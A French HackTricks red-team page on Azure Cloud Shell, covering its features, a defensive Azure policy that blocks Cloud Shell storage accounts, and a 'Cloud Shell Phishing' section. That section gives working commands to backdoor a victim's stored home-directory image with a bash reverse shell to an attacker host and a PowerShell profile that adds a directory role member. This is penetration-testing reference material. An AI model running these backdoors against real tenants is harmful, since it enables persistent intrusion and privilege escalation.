Az - Cloud Shell

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Azure Cloud Shell

Azure Cloud Shell est un terminal interactif, authentifiĂ© et accessible via un navigateur, conçu pour gĂ©rer les ressources Azure, offrant la flexibilitĂ© de travailler avec Bash ou PowerShell. Il fonctionne sur un hĂŽte temporaire par session qui expire aprĂšs 20 minutes d’inactivitĂ©, tout en conservant les fichiers dans l’emplacement $HOME Ă  l’aide d’un partage de fichiers de 5 Go. Cloud Shell peut ĂȘtre accessible par plusieurs points, y compris le portail Azure, shell.azure.com, la documentation Azure CLI et PowerShell, l’application mobile Azure, et l’extension Azure Account de Visual Studio Code.

Il n’y a pas de permissions assignĂ©es Ă  ce service, donc il n’y a pas de techniques d’escalade de privilĂšges. De plus, il n’y a pas de type d’énumĂ©ration.

Key Features

  • Outils prĂ©installĂ©s : Cloud Shell comprend un ensemble complet d’outils prĂ©installĂ©s tels que Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, et des Ă©diteurs de texte comme vim, nano, et emacs. Ces outils sont prĂȘts Ă  l’emploi. Pour lister les paquets et modules installĂ©s, vous pouvez utiliser “Get-Module -ListAvailable”, “tdnf list” et “pip3 list”.
  • Lecteur Azure (Azure:) : PowerShell dans Azure Cloud Shell inclut le lecteur Azure (Azure:), qui permet une navigation facile des ressources Azure comme Compute, Network, et Storage en utilisant des commandes similaires Ă  celles du systĂšme de fichiers. Passez au lecteur Azure avec cd Azure: et revenez Ă  votre rĂ©pertoire personnel avec cd ~. Vous pouvez toujours utiliser les cmdlets Azure PowerShell pour gĂ©rer les ressources depuis n’importe quel lecteur.
  • Installation d’outils personnalisĂ©s : Les utilisateurs qui configurent Cloud Shell avec un compte de stockage peuvent installer des outils supplĂ©mentaires qui ne nĂ©cessitent pas de permissions root. Cette fonctionnalitĂ© permet une personnalisation supplĂ©mentaire de l’environnement Cloud Shell, permettant aux utilisateurs d’adapter leur configuration Ă  leurs besoins spĂ©cifiques.
  • Persistance $HOME : Lors du premier dĂ©marrage d’Azure Cloud Shell, vous pouvez l’utiliser avec ou sans un compte de stockage attachĂ©.
  • Choisir de ne pas attacher de stockage crĂ©e une session Ă©phĂ©mĂšre oĂč les fichiers sont supprimĂ©s Ă  la fin de la session.
  • Pour persister les fichiers entre les sessions, vous avez la possibilitĂ© de monter un compte de stockage, qui s’attache automatiquement en tant que $HOME\clouddrive, avec votre rĂ©pertoire $HOME sauvegardĂ© sous forme de fichier .img dans un partage de fichiers.

Cloud Shell Phishing

Si un attaquant trouve d’autres images d’utilisateurs dans un compte de stockage auquel il a accĂšs en Ă©criture et en lecture, il pourra tĂ©lĂ©charger l’image, ajouter un backdoor bash et PS dedans, et la tĂ©lĂ©charger Ă  nouveau dans le compte de stockage afin que la prochaine fois que l’utilisateur accĂšde au shell, les commandes seront automatiquement exĂ©cutĂ©es.

  • TĂ©lĂ©charger, backdoor et uploader l’image :
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
  • Ensuite, hameçonner l’utilisateur pour accĂ©der Ă  https://shell.azure.com/

Trouver et interdire les comptes de stockage automatiques de Cloud Shell

Les comptes de stockage créés par Cloud Shell sont étiquetés avec ms-resource-usage:azure-cloud-shell. Il est possible de créer une politique de ressources Azure qui désactive la création de ressources avec cette étiquette.

Trouvez tous les comptes de stockage créés par Cloud Shell par étiquettes :

az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'

Politique interdisant la création de comptes de stockage automatiques pour le stockage de cloud shell en fonction des balises :

{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}

Références

Persistance

Az - Cloud Shell Persistence

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks